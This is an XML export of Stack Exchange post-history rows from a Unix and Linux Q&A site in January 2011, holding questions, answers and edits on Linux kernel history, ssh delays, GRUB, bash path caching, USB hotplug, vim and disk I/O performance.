  <row Id="12601" PostHistoryTypeId="2" PostId="5613" RevisionGUID="e9893057-d450-4363-aeb2-6012996cf0aa" CreationDate="2011-01-10T06:00:17.327" UserId="2871" Text="Year 1991 :&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;**DOS** brought by **Bill Gates** was reigning the world of personal computers. The other player in the personal computer world was **UNIX** by **Bell Labs**, but it was extremely expensive and the source was not publicly available.   &#xD;&#xA;&#xD;&#xA;Then there was the **MINIX** by **Andrew Tanenbaum**, which was not a superb OS but made the source code was publicly available. Tanenbaum captured the souls of computer science with the elaborate and lively discussion of the art of creating a working OS. Students of Computer Science all over the world went through the book, reading through the codes to understand the very system that runs their computer, and one of them was Linus Torvalds.  &#xD;&#xA;&#xD;&#xA;For rest of the story and how Linux was written please read through the following [link][1].&#xD;&#xA;&#xD;&#xA;Linux History Time line :&#xD;&#xA;-------------------------&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://netfiles.uiuc.edu/rhasan/linux/&#xD;&#xA;  [2]: http://i.imgur.com/TAgT6.png" />
  <row Id="12602" PostHistoryTypeId="5" PostId="5612" RevisionGUID="e8cbf4bb-a08f-4165-99fc-9006fc901588" CreationDate="2011-01-10T06:21:26.990" UserId="73" Comment="deleted 17 characters in body; edited tags; edited tags; edited title" Text="Who are the authors of the pure Linux kernel from scratch, which was integrated with GNU tools and formed the full GNU/Linux Operating system in the 1990s? I have read some wiki articles but I haven't got any clear cut idea on the history.&#xD;&#xA;" />
  <row Id="12603" PostHistoryTypeId="6" PostId="5612" RevisionGUID="e8cbf4bb-a08f-4165-99fc-9006fc901588" CreationDate="2011-01-10T06:21:26.990" UserId="73" Comment="deleted 17 characters in body; edited tags; edited tags; edited title" Text="élinuxàékernelàéhistoryà" />
  <row Id="12604" PostHistoryTypeId="4" PostId="5612" RevisionGUID="e8cbf4bb-a08f-4165-99fc-9006fc901588" CreationDate="2011-01-10T06:21:26.990" UserId="73" Comment="deleted 17 characters in body; edited tags; edited tags; edited title" Text="Who wrote the &quot;Linux kernel&quot; (Linus Torvalds and his team)?" />
  <row Id="12605" PostHistoryTypeId="5" PostId="5613" RevisionGUID="68d8d388-aa41-4202-ba15-d7b76fc209de" CreationDate="2011-01-10T06:30:25.890" UserId="2871" Comment="added 240 characters in body" Text="**Richard Stallman**, father of the **GNU** Project  &#xD;&#xA;**Linus Benedict Torvalds**, the author of **Linux OS**(Linux version 0.01 was released by mid September 1991).  &#xD;&#xA;&#xD;&#xA;The real story is : &#xD;&#xA;&#xD;&#xA;Year 1991 :&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;**DOS** brought by **Bill Gates** was reigning the world of personal computers. The other player in the personal computer world was **UNIX** by **Bell Labs**, but it was extremely expensive and the source was not publicly available.   &#xD;&#xA;&#xD;&#xA;Then there was the **MINIX** by **Andrew Tanenbaum**, which was not a superb OS but made the source code was publicly available. Tanenbaum captured the souls of computer science with the elaborate and lively discussion of the art of creating a working OS. Students of Computer Science all over the world went through the book, reading through the codes to understand the very system that runs their computer, and one of them was Linus Torvalds.  &#xD;&#xA;&#xD;&#xA;the GNU project created a lot of the too&#xD;&#xA;&#xD;&#xA;For rest of the story and how Linux was written please read through the following [link][1].&#xD;&#xA;&#xD;&#xA;Linux History Time line :&#xD;&#xA;-------------------------&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://netfiles.uiuc.edu/rhasan/linux/&#xD;&#xA;  [2]: http://i.imgur.com/TAgT6.png" />
  <row Id="12606" PostHistoryTypeId="5" PostId="5555" RevisionGUID="b365b95b-f495-4f13-8757-dba47512f1bd" CreationDate="2011-01-10T08:07:57.053" UserId="885" Comment="added 3 characters in body" Text="Most top implementations have a way to turn the display of threads on or off.&#xD;&#xA;&#xD;&#xA;* htop: in the “Setup / Display options” menu, “Hide userlands threads”.&#xD;&#xA;* Linux top: press `H` to toggle the showing of threads (but they're off by default).&#xD;&#xA;* OpenBSD top: press `T` to toggle the showing of threads (but they're off by default).&#xD;&#xA;&#xD;&#xA;Note that memory mappings, and hence memory occupation, is a property of a process, so you'll always see the same numbers for every thread in a process. If you see different numbers, it means there are multiple processes.&#xD;&#xA;&#xD;&#xA;There's no easy way to find out the total memory consumption of a set of processes because the concept isn't well-defined. Some of the memory may be shared; this happens all the time with shared libraries, and in addition related processes (such as multiple instances of a server) are more likely to use shared memory to exchange data. If you just add the figures, you'll often get a number that's a lot larger than the actual used memory.&#xD;&#xA;" />
  <row Id="12607" PostHistoryTypeId="6" PostId="5609" RevisionGUID="ab477ef9-9637-41aa-bb22-a5696858985a" CreationDate="2011-01-10T08:11:40.747" UserId="885" Comment="edited tags" Text="ébashàéexecutableàécacheà" />
  <row Id="12608" PostHistoryTypeId="2" PostId="5614" RevisionGUID="297b57b1-bf12-42ae-960d-5ecae3b9d309" CreationDate="2011-01-10T08:19:18.573" UserId="885" Text="[`System.map`](http://en.wikipedia.org/wiki/System.map) contains the addresses of symbols (function names) in the Linux kernel. This isn't limited to system calls (the interfaces exposed to user processes). The system calls are the symbols whose name begins with `sys_`. The addresses are associated to a particular kernel binary (`vmlinux`, `bzImage` or other format; the image format doesn't change the addresses, it's just an encoding); they are reproducible for a given kernel source, configuration and compiler. The file is used mainly for debugging, but it's also read when compiling some third-party modules that use unstable kernel interfaces (unstable as in changing from one version to the next).&#xD;&#xA;" />
  <row Id="12609" PostHistoryTypeId="5" PostId="5611" RevisionGUID="bccbc535-a7e9-4540-9a8e-11db1d194480" CreationDate="2011-01-10T08:20:14.033" UserId="885" Comment="spelling; tags" Text="I found that System.map file contains addresses of symbols. Does it involve system calls? I read that it is only updated when a new kernel is newly compiled.&#xD;&#xA;&#xD;&#xA;So does that means that except for a new kernel compilation, these are always stored in the same address?" />
  <row Id="12610" PostHistoryTypeId="4" PostId="5611" RevisionGUID="bccbc535-a7e9-4540-9a8e-11db1d194480" CreationDate="2011-01-10T08:20:14.033" UserId="885" Comment="spelling; tags" Text="System.map file update" />
  <row Id="12611" PostHistoryTypeId="6" PostId="5611" RevisionGUID="bccbc535-a7e9-4540-9a8e-11db1d194480" CreationDate="2011-01-10T08:20:14.033" UserId="885" Comment="spelling; tags" Text="élinuxàékernelà" />
  <row Id="12612" PostHistoryTypeId="5" PostId="5613" RevisionGUID="d5265cf5-d420-4c60-ab68-e4e382f01fba" CreationDate="2011-01-10T08:30:28.423" UserId="2871" Comment="added 44 characters in body" Text="**Richard Stallman**, father of the **GNU** Project  &#xD;&#xA;**Linus Benedict Torvalds**, the author of **Linux OS**(Linux version 0.01 was released by mid September 1991).  &#xD;&#xA;&#xD;&#xA;The real story is : &#xD;&#xA;&#xD;&#xA;Year 1991 :&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;**DOS** brought by **Bill Gates** was reigning the world of personal computers. The other player in the personal computer world was **UNIX** by **Bell Labs**, but it was extremely expensive and the source was not publicly available.   &#xD;&#xA;&#xD;&#xA;Then there was the **MINIX** by **Andrew Tanenbaum**, which was not a superb OS but made the source code was publicly available. Tanenbaum captured the souls of computer science with the elaborate and lively discussion of the art of creating a working OS. Students of Computer Science all over the world went through the book, reading through the codes to understand the very system that runs their computer, and one of them was Linus Torvalds.  &#xD;&#xA;&#xD;&#xA;The GNU project created a lot of the tools line GCC, etc. but still there was no OS.&#xD;&#xA;&#xD;&#xA;For rest of the story and how Linux was written please read through the following [link][1].&#xD;&#xA;&#xD;&#xA;Linux History Time line :&#xD;&#xA;-------------------------&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://netfiles.uiuc.edu/rhasan/linux/&#xD;&#xA;  [2]: http://i.imgur.com/TAgT6.png" />
  <row Id="12613" PostHistoryTypeId="2" PostId="5615" RevisionGUID="3a713d14-a7ae-4330-b658-378efe20f8e7" CreationDate="2011-01-10T08:37:32.287" UserId="885" Text="The [wikipedia page](http://en.wikipedia.org/wiki/Linux_kernel#History) has a fairly clear history. Linus Torvalds, then a student, wrote his own kernel in the summer of 1991 because he was unhappy with the available Unix kernels: Unix itself (with the Bell Labs code) was extremeley expensive (even PC unices such as [Xenix](http://en.wikipedia.org/wiki/Xenix)), there was Andrew Tanenbaum's [MINIX](http://en.wikipedia.org/wiki/MINIX) but it was only available to purchasers of [Tanenbaum's book](http://en.wikipedia.org/wiki/Operating_Systems:_Design_and_Implementation), and Torvalds was unaware of the effort led by Berkeley University to produce a free Unix ([BSD](http://en.wikipedia.org/wiki/Berkeley_Software_Distribution)), and BSD didn't run on PCs yet at the time.&#xD;&#xA;&#xD;&#xA;Since then, thousands of people have contributed to the kernel, most of them in the form of drivers.&#xD;&#xA;" />
  <row Id="12614" PostHistoryTypeId="2" PostId="5616" RevisionGUID="d651d1e0-9716-4f64-ab8c-44c8381fe0c0" CreationDate="2011-01-10T08:38:13.253" UserId="3543" Text="[Lighthttpd][1] is lightweight and easy to setup.  nginx seems to be the more popular choice nowadays, tho.&#xD;&#xA;&#xD;&#xA;It really isn't going to make much of a difference either way.  I'd just stick with Apache, if you want to tweak it to use less memory try apache2-mpm-worker.&#xD;&#xA;&#xD;&#xA;    sudo aptitude install apache2-mpm-worker&#xD;&#xA;&#xD;&#xA;Also, since you want all this stuff working 'out of the box', what version Debian are you running?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lighttpd.net/&#xD;&#xA;" />
  <row Id="12618" PostHistoryTypeId="2" PostId="5618" RevisionGUID="4abd9ce2-3dca-452f-af93-f1ec7055400f" CreationDate="2011-01-10T09:02:15.133" UserId="3544" Text="I want to know where I could get some material to study USB hot plug-in mechanism in Android Stack. I tried googling many a times, but din't find anything useful. " />
  <row Id="12619" PostHistoryTypeId="1" PostId="5618" RevisionGUID="4abd9ce2-3dca-452f-af93-f1ec7055400f" CreationDate="2011-01-10T09:02:15.133" UserId="3544" Text="How to understand Hot plugin mechanism for a USB in an Android stack ?" />
  <row Id="12620" PostHistoryTypeId="3" PostId="5618" RevisionGUID="4abd9ce2-3dca-452f-af93-f1ec7055400f" CreationDate="2011-01-10T09:02:15.133" UserId="3544" Text="éusbà" />
  <row Id="12621" PostHistoryTypeId="5" PostId="3142" RevisionGUID="d784374e-1894-484a-8575-b7fc48ac3466" CreationDate="2011-01-10T09:18:54.273" UserId="688" Comment="typos, grammar; added 5 characters in body" Text="It helps prevent the spread of viruses in Windows&#xD;&#xA;----------------------------------------&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;Remember that Linux is used in many ways, such as file and email servers.&#xD;&#xA;&#xD;&#xA;Files in these servers (MS Office files, outlook messages, EXE programs) can be stored **with** an infection.&#xD;&#xA;&#xD;&#xA;Even though they should not affect the servers themselves, one could configure the server to check every file at the moment that is stored to make sure that it is clean and prevent future spread when they are moved back to a Windows machine.&#xD;&#xA;&#xD;&#xA;I myself have it installed for when a friend asked me to check why their XP machine is not working, or for when I plugged my pen drive on a Windows machine.&#xD;&#xA;" />
  <row Id="12622" PostHistoryTypeId="5" PostId="4707" RevisionGUID="661faaa8-d33d-48ad-b5b2-951ed46abf77" CreationDate="2011-01-10T09:30:59.063" UserId="688" Comment="clean-up" Text="I've been building a Linux distro, and I've stripped the binaries, etc. The system won't use GCC or development tools, as it will be a Chrome kiosk, so it would greatly help if I could strip down the system...&#xD;&#xA;&#xD;&#xA;I was wondering, is there a way that I can delete all of the unused system files (like binaries, etc.) by watching what files/libraries are used during runtime? Maybe another method is preferred, but is there a way to accomplish something like this?&#xD;&#xA;" />
  <row Id="12623" PostHistoryTypeId="2" PostId="5619" RevisionGUID="a1cb9088-c74b-429b-a653-f1f5057b73bc" CreationDate="2011-01-10T10:06:54.750" UserId="3539" Text="For debugging by GDB, I would like to have a kernel module whose source code I dont have. I suspect its a visrus. Is there any way, so that I could fed it to GDB for analysis" />
  <row Id="12624" PostHistoryTypeId="1" PostId="5619" RevisionGUID="a1cb9088-c74b-429b-a653-f1f5057b73bc" CreationDate="2011-01-10T10:06:54.750" UserId="3539" Text="How to get the inserted kernel module?" />
  <row Id="12625" PostHistoryTypeId="3" PostId="5619" RevisionGUID="a1cb9088-c74b-429b-a653-f1f5057b73bc" CreationDate="2011-01-10T10:06:54.750" UserId="3539" Text="ékernelàédebuggingàékernelömodulesà" />
  <row Id="12626" PostHistoryTypeId="2" PostId="5620" RevisionGUID="ccffe919-4c11-4e5c-bdcf-aae41ad4a3c0" CreationDate="2011-01-10T10:51:30.930" UserId="2871" Text="From a debugging perspective, the kernel is a special &quot;process&quot;, distinct from the user space processes, which communicate with the kernel via a sort of rpc mechanism (syscalls) or mapped memory..  &#xD;&#xA;&#xD;&#xA;I dont think you can see the kernel's data structure simply by inspecting some random user process.&#xD;&#xA;&#xD;&#xA;Another problem is, that every user space process (including the debugger) needs the kernel to run and to communicate with the users, I dont think you can just stop the kernel and believe that the debugger will continue to run.   &#xD;&#xA;&#xD;&#xA;So you need to run gdb on a second machine and that is what is called as Kernel debugging.  &#xD;&#xA;Please refer to ([http://kgdb.linsyssoft.com/][1], Documentation/sh/kgdb) for more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kgdb.linsyssoft.com/" />
  <row Id="12628" PostHistoryTypeId="5" PostId="5619" RevisionGUID="8bdaa407-605c-4ddb-b5c9-419dc38c2feb" CreationDate="2011-01-10T13:04:53.877" UserId="29" Comment="correct spelling error" Text="For debugging by GDB, I would like to have a kernel module whose source code I dont have. I suspect its a virus. Is there any way, so that I could fed it to GDB for analysis" />
  <row Id="12629" PostHistoryTypeId="2" PostId="5621" RevisionGUID="5e784de5-acb2-48ab-975f-09016c3e9346" CreationDate="2011-01-10T13:35:38.330" UserId="688" Text="Running `ssh user@hostname` takes ~30s. Here's the scenario:&#xD;&#xA;&#xD;&#xA;* this is a VM on the local LAN&#xD;&#xA;* Windows and Mac machines get instant login&#xD;&#xA;* am using Debian and I could reproduce with an Ubuntu machine&#xD;&#xA;* someone using Ubuntu says that logging into my machine (local LAN) is also instant&#xD;&#xA;" />
  <row Id="12630" PostHistoryTypeId="1" PostId="5621" RevisionGUID="5e784de5-acb2-48ab-975f-09016c3e9346" CreationDate="2011-01-10T13:35:38.330" UserId="688" Text="How to speed my too-slow ssh login?" />
  <row Id="12631" PostHistoryTypeId="3" PostId="5621" RevisionGUID="5e784de5-acb2-48ab-975f-09016c3e9346" CreationDate="2011-01-10T13:35:38.330" UserId="688" Text="ésshà" />
  <row Id="12632" PostHistoryTypeId="2" PostId="5622" RevisionGUID="2b5a03cf-58b9-421c-8e4e-2a1233b4267e" CreationDate="2011-01-10T14:24:50.493" UserId="2327" Text="Have you verified your DNS setup?&#xD;&#xA;&#xD;&#xA;Try the setting `mdns off` in `/etc/host.conf`. &#xD;&#xA;&#xD;&#xA;This disables the mdns resolution and helped me a lot." />
  <row Id="12633" PostHistoryTypeId="2" PostId="5623" RevisionGUID="3f79dc19-a9fd-4e39-9b27-08adee007ca3" CreationDate="2011-01-10T14:29:12.570" UserId="2871" Text="I would like to understand the flow of the `USB events` form the `Kernel space` to the `User space` (just out of my curiosity, in knowing how things are implemented).&#xD;&#xA;&#xD;&#xA;To be more clear, I would like to know how does that pop-up comes in my desktop when I plug a USB drive to my system and how does the drive gets mounted.&#xD;&#xA;&#xD;&#xA;I know its a very big and wide question, but please guide me with some pointers on how to understand the whole idea behind it.&#xD;&#xA;&#xD;&#xA;I have not done large code browsings, but I assure you that I have no problem in doing so if I can be guided correctly. " />
  <row Id="12634" PostHistoryTypeId="1" PostId="5623" RevisionGUID="3f79dc19-a9fd-4e39-9b27-08adee007ca3" CreationDate="2011-01-10T14:29:12.570" UserId="2871" Text="How to understand the sequence of USB detection?" />
  <row Id="12635" PostHistoryTypeId="3" PostId="5623" RevisionGUID="3f79dc19-a9fd-4e39-9b27-08adee007ca3" CreationDate="2011-01-10T14:29:12.570" UserId="2871" Text="éusbàéhotöplugà" />
  <row Id="12636" PostHistoryTypeId="2" PostId="5624" RevisionGUID="2faa7725-c63b-4729-902b-a160c1a338c1" CreationDate="2011-01-10T15:20:30.540" UserId="3496" Text="I just installed Arch Linux and its not really working well. And now I can't access Windows because of GRUB. So how can I uninstall GRUB through the Arch Linux shell?" />
  <row Id="12637" PostHistoryTypeId="1" PostId="5624" RevisionGUID="2faa7725-c63b-4729-902b-a160c1a338c1" CreationDate="2011-01-10T15:20:30.540" UserId="3496" Text="How to uninstall GRUB" />
  <row Id="12638" PostHistoryTypeId="3" PostId="5624" RevisionGUID="2faa7725-c63b-4729-902b-a160c1a338c1" CreationDate="2011-01-10T15:20:30.540" UserId="3496" Text="éarchölinuxàégrubà" />
  <row Id="12639" PostHistoryTypeId="5" PostId="5623" RevisionGUID="307095ce-481e-4f3a-a190-90c2d8fbbade" CreationDate="2011-01-10T15:22:30.443" UserId="73" Comment="deleted 124 characters in body; edited title" Text="What is the flow of USB events from kernel space to user space? I get a popup on my desktop when I plug in a USB drive -- what is the sequence of events that leads from detecting the new USB drive to mounting it and showing that popup?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I know it's a very broad question, but please guide me with some pointers on how to understand the whole idea behind it. I have no problem in browsing large blocks of code if I can be guided correctly.)&lt;/sub&gt;" />
  <row Id="12640" PostHistoryTypeId="4" PostId="5623" RevisionGUID="307095ce-481e-4f3a-a190-90c2d8fbbade" CreationDate="2011-01-10T15:22:30.443" UserId="73" Comment="deleted 124 characters in body; edited title" Text="What happens when a USB drive is plugged in?" />
  <row Id="12641" PostHistoryTypeId="5" PostId="5621" RevisionGUID="b024a593-bf23-45b9-a85e-ed57717845e5" CreationDate="2011-01-10T15:29:20.420" UserId="688" Comment="extra info" Text="Running `ssh user@hostname` takes ~30s. Here's the scenario:&#xD;&#xA;&#xD;&#xA;* this is a VM on the local LAN&#xD;&#xA;* Windows and Mac machines get instant login&#xD;&#xA;* am using Debian and I could reproduce with an Ubuntu machine&#xD;&#xA;* someone using Ubuntu says that logging into my machine (local LAN) is also instant&#xD;&#xA;* using hostname IP address takes about half as much time (~15s)&#xD;&#xA;" />
  <row Id="12642" PostHistoryTypeId="2" PostId="5625" RevisionGUID="a25c3ca7-b8b3-46c5-8e2f-ac0096152f73" CreationDate="2011-01-10T15:35:41.480" UserId="3552" Text="hi installed ffmpeg useing this &#xD;&#xA;http://forum.syslint.com/topic/136/solved-install-ffmpegphp-061-along-with-ffmpeginstaller-63/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;i am trying to install useing this&#xD;&#xA;&#xD;&#xA;     # cd ffmpeg-php/branches/ffmpeg-php/ffmpeg-php-0.6.1/&#xD;&#xA;     # replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- *&#xD;&#xA;     # phpize &#xD;&#xA;     # ./configure --with-ffmpeg=/usr/local/cpffmpeg&#xD;&#xA;     # make &#xD;&#xA;     # make install&#xD;&#xA;&#xD;&#xA;but when i run this line &#xD;&#xA;&#xD;&#xA;    replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- *&#xD;&#xA;&#xD;&#xA;i get a error &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; replace: Error reading file&#xD;&#xA;&gt; 'autom4te.cache' (Errcode: 21)&#xD;&#xA;&gt; replace: Error reading file 'build'&#xD;&#xA;&gt; (Errcode: 21) ffmpeg_frame.c converted&#xD;&#xA;&gt; replace: Error reading file 'include'&#xD;&#xA;&gt; (Errcode: 21) replace: Error reading&#xD;&#xA;&gt; file 'modules' (Errcode: 21) replace:&#xD;&#xA;&gt; Error reading file 'tests' (Errcode:&#xD;&#xA;&gt; 21)&#xD;&#xA;&#xD;&#xA;and when i run and skip that line &#xD;&#xA;&#xD;&#xA;    make&#xD;&#xA;i get this error msg &#xD;&#xA;&gt; /root/ffmpeg-php/branches/ffmpeg-php/ffmpeg-php-0.6.1/ffmpeg-php.c:171: error: expected '{' at end of input&#xD;&#xA;make: *** [ffmpeg-php.lo] Error 1&#xD;&#xA;&#xD;&#xA;any ideas thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12643" PostHistoryTypeId="1" PostId="5625" RevisionGUID="a25c3ca7-b8b3-46c5-8e2f-ac0096152f73" CreationDate="2011-01-10T15:35:41.480" UserId="3552" Text="installing ffmpeg-php  on centos " />
  <row Id="12644" PostHistoryTypeId="3" PostId="5625" RevisionGUID="a25c3ca7-b8b3-46c5-8e2f-ac0096152f73" CreationDate="2011-01-10T15:35:41.480" UserId="3552" Text="élinuxàécentosàéffmpegàéphpà" />
  <row Id="12645" PostHistoryTypeId="5" PostId="5609" RevisionGUID="8b4c2c96-b975-4489-b46e-cd05ddec47db" CreationDate="2011-01-10T15:42:02.083" UserId="3535" Comment="added 23 characters in body" Text="When I execute a program without specifying the full path to the executable, and Bash must search the directories in `$PATH` to find the binary, it seems that Bash remembers the path in some sort of cache. For example, I installed a build of Subversion from source to `/usr/local`, then typed `svnsync help` at the Bash prompt. Bash located the binary `/usr/local/bin/svnsync` for &quot;svnsync&quot; and executed it. Then when I deleted the installation of Subversion in `/usr/local` and re-ran `svnsync help`, Bash responds:&#xD;&#xA;&#xD;&#xA;    bash: /usr/local/bin/svnsync: No such file or directory&#xD;&#xA;&#xD;&#xA;But, when I start a new instance of Bash, it finds and executes `/usr/bin/svnsync`.&#xD;&#xA;&#xD;&#xA;How do I clear the cache of paths to executables?" />
  <row Id="12646" PostHistoryTypeId="2" PostId="5626" RevisionGUID="d68eab0c-80db-4b45-bf11-72621343aec5" CreationDate="2011-01-10T15:54:48.720" UserId="3069" Text="`vim` (Vi IMproved) is a modular text editor that is upwards compatible to `vi`. &#xD;&#xA;&#xD;&#xA;The speciality lies within the editing modes which provide different tasks. Each mode can be reached by one or more specified keys.&#xD;&#xA;&#xD;&#xA; - **Normal** (&lt;kbd&gt;ESC&lt;/kbd&gt;): copy, (re)move, replace words and lines, text formatting&#xD;&#xA; - **Insert** (&lt;kbd&gt;i&lt;/kbd&gt;,&lt;kbd&gt;a&lt;/kbd&gt;,&lt;kbd&gt;o&lt;/kbd&gt;): insert or remove text&#xD;&#xA; - **Visual** (&lt;kbd&gt;v&lt;/kbd&gt;): visually highlight a text area&#xD;&#xA; - **Select** (&lt;kbd&gt;gh&lt;/kbd&gt;): modify selected text area&#xD;&#xA; - **Command-line** (&lt;kbd&gt;:&lt;/kbd&gt;): complex commands, search(-replace), filter, (un)set options&#xD;&#xA; - **Ex** (&lt;kbd&gt;Q&lt;/kbd&gt;): like command-line mode but stays in Ex mode after entering a command&#xD;&#xA;&#xD;&#xA;Further, `vim` provides the following features:&#xD;&#xA;&#xD;&#xA; - Syntax highlighting&#xD;&#xA; - Autocorrection&#xD;&#xA; - Tabs and Splitscreens&#xD;&#xA; - undo/redo operations&#xD;&#xA; - Plugin support over own scripts&#xD;&#xA; - Archive editing (`tar`, `gz`, `zip`)&#xD;&#xA; - History&#xD;&#xA; - Wrapping&#xD;&#xA; - Macros&#xD;&#xA; - and more...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On modern Linux systems, `vi` is generally linked to `vim`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`vimtutor` gets you started with `vim` in a short time.  &#xD;&#xA;`vim` also provides a great help section, start the editor and type `:help`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More ressources:&#xD;&#xA;&#xD;&#xA; - [vim.org][1]&#xD;&#xA; - `man vim`&#xD;&#xA; - `/usr/share/vim/current/doc`&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/" />
  <row Id="12647" PostHistoryTypeId="2" PostId="5627" RevisionGUID="2beacf7a-909d-4747-99a1-b78737c85a56" CreationDate="2011-01-10T15:54:48.720" UserId="3069" Comment="deleted 2 characters in body" Text="vim (Vi IMproved) is a text editor supporting different editing modes." />
  <row Id="12648" PostHistoryTypeId="2" PostId="5628" RevisionGUID="91c122cc-b467-454e-8fb8-191befb59db5" CreationDate="2011-01-10T16:07:50.903" UserId="3496" Text="My arch linux installation didn't go well(apparently I should have gone through netinstall instead of core). So, do you guys recommend me to use the Chakra project(supposedly easier??) or through netinstall? " />
  <row Id="12649" PostHistoryTypeId="1" PostId="5628" RevisionGUID="91c122cc-b467-454e-8fb8-191befb59db5" CreationDate="2011-01-10T16:07:50.903" UserId="3496" Text="Chakra project or netinstall-- Arch Linux installation" />
  <row Id="12650" PostHistoryTypeId="3" PostId="5628" RevisionGUID="91c122cc-b467-454e-8fb8-191befb59db5" CreationDate="2011-01-10T16:07:50.903" UserId="3496" Text="éinstallàéarchölinuxà" />
  <row Id="12651" PostHistoryTypeId="5" PostId="5628" RevisionGUID="64def124-b159-4cda-8ae6-21f7e432fac3" CreationDate="2011-01-10T16:32:13.167" UserId="73" Comment="added 11 characters in body; edited title" Text="My arch linux installation didn't go well (apparently I should have gone through netinstall instead of core). When I try again, should I use the Chakra project (which is supposedly easier), or should I use netinstall?&#xD;&#xA;" />
  <row Id="12652" PostHistoryTypeId="4" PostId="5628" RevisionGUID="64def124-b159-4cda-8ae6-21f7e432fac3" CreationDate="2011-01-10T16:32:13.167" UserId="73" Comment="added 11 characters in body; edited title" Text="Chakra project or netinstall -- Arch Linux installation" />
  <row Id="12653" PostHistoryTypeId="2" PostId="5629" RevisionGUID="21e73bff-ded3-485d-b4d9-b13368444557" CreationDate="2011-01-10T16:38:33.563" UserId="305" Text="Is there a limit of number of hardlinks for one file? Is it specified anywhere? What are safe limits for Linux? And what for other POSIX systems?" />
  <row Id="12654" PostHistoryTypeId="1" PostId="5629" RevisionGUID="21e73bff-ded3-485d-b4d9-b13368444557" CreationDate="2011-01-10T16:38:33.563" UserId="305" Text="Is there a limit of hardlinks for one file?" />
  <row Id="12655" PostHistoryTypeId="3" PostId="5629" RevisionGUID="21e73bff-ded3-485d-b4d9-b13368444557" CreationDate="2011-01-10T16:38:33.563" UserId="305" Text="éfilesystemsàéhardlinkà" />
  <row Id="12656" PostHistoryTypeId="2" PostId="5630" RevisionGUID="e15a7171-8b8f-461d-9b08-053124ae28b8" CreationDate="2011-01-10T16:50:36.560" UserId="305" Text="You cannot 'uninstall' grub. You can overwrite it by Windows bootloader. I'm afraid that most people who know how to reinstall Windows bootloader without reinstalling Windows are on superuser (I guess for most people here Windows is the second system) - you have to do it from Windows install disk or similar tools.&#xD;&#xA;&#xD;&#xA;You should be able to chainload the Windows bootloader from grub by following code BTW:&#xD;&#xA;&#xD;&#xA;    title Windows&#xD;&#xA;        rootnoverify (hd0,0)&#xD;&#xA;        chainloader +1&#xD;&#xA;&#xD;&#xA;or entering commandline in GRUB&#xD;&#xA;&#xD;&#xA;    rootnoverify (hd0,0)&#xD;&#xA;    chainloader +1&#xD;&#xA;&#xD;&#xA;PS. What is not working well? It is part we can help with. Have you tried simpler distributions like for example Ubuntu?" />
  <row Id="12657" PostHistoryTypeId="5" PostId="5624" RevisionGUID="a84f818b-9506-4cc5-8d4d-23fd6e3eb4af" CreationDate="2011-01-10T16:52:23.093" UserId="73" Comment="deleted 9 characters in body" Text="I just installed Arch Linux and it's not working well, and now I can't access Windows because of GRUB. How can I uninstall GRUB through the Arch Linux shell?" />
  <row Id="12658" PostHistoryTypeId="5" PostId="5565" RevisionGUID="ad451cb9-a4fe-4a4f-ae33-36685144229a" CreationDate="2011-01-10T17:08:12.573" UserId="688" Comment="re-asking to fit the answer" Text="Whenever there is high disk I/O, the system tends to be much slower and less responsive than usual. What's the progress on Linux kernel regarding this? Is this problem actively being worked on?" />
  <row Id="12659" PostHistoryTypeId="4" PostId="5565" RevisionGUID="ad451cb9-a4fe-4a4f-ae33-36685144229a" CreationDate="2011-01-10T17:08:12.573" UserId="688" Comment="re-asking to fit the answer" Text="What's the progress regarding improving system performance/responsiveness during high disk I/O?" />
  <row Id="12660" PostHistoryTypeId="2" PostId="5631" RevisionGUID="82fdc7f4-900e-4144-94cb-f1f31eaaef7c" CreationDate="2011-01-10T17:15:45.717" UserId="688" Text="I never quite understood why high disk I/O slowed the system so much. It's strange to me because I would expect the slow-down to affect only those processes dependent on the hard/optical drive data, but the slow-down affects even stuff loaded onto RAM. I'm here referring to __iowait__.&#xD;&#xA;&#xD;&#xA;Why does the processor wait, instead of doing other work? Can anyone explain this limitation and why it hasn't been solved in Linux kernel? Is there a kernel out there that doesn't have this problem?&#xD;&#xA;&#xD;&#xA;[__note__] There has been [some progress][1] in this performance area.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5565/whats-the-progress-regarding-improving-system-performance-responsiveness-during" />
  <row Id="12661" PostHistoryTypeId="1" PostId="5631" RevisionGUID="82fdc7f4-900e-4144-94cb-f1f31eaaef7c" CreationDate="2011-01-10T17:15:45.717" UserId="688" Text="Why does high disk I/O reduce system responsiveness/performance?" />
  <row Id="12662" PostHistoryTypeId="3" PostId="5631" RevisionGUID="82fdc7f4-900e-4144-94cb-f1f31eaaef7c" CreationDate="2011-01-10T17:15:45.717" UserId="688" Text="élinuxàékernelàéperformanceàéioà" />
